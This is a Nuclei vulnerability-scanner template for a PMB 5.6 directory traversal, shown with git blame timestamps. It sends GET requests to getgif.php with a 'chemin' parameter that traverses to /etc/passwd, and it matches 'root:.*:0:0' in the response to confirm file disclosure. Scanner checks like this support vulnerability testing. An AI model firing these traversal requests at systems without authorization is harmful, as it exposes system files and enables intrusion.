nuclei-templates/vulnerabilities/other/pmb-directory-traversal.yaml

28 lines
788 B
YAML
Raw Normal View History

2021-08-16 10:44:02 +00:00
id: pmb-directory-traversal
info:
name: PMB 5.6 Directory Traversal
author: geeknik
severity: medium
2021-10-21 05:55:02 +00:00
description: The PMB Gif Image is not sanitizing the content of the 'chemin' parameter, this can in turn be used to a Local File Disclosure.
2021-08-16 11:13:47 +00:00
reference: https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
tags: lfi
2021-08-16 10:44:02 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
- "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
2021-10-08 13:40:03 +00:00
2021-10-08 06:33:40 +00:00
stop-at-first-match: true
2021-08-16 10:44:02 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
2021-10-08 13:40:03 +00:00
- "root:.*:0:0"
2021-08-16 11:13:47 +00:00
2021-08-16 10:44:02 +00:00
- type: status
status:
- 200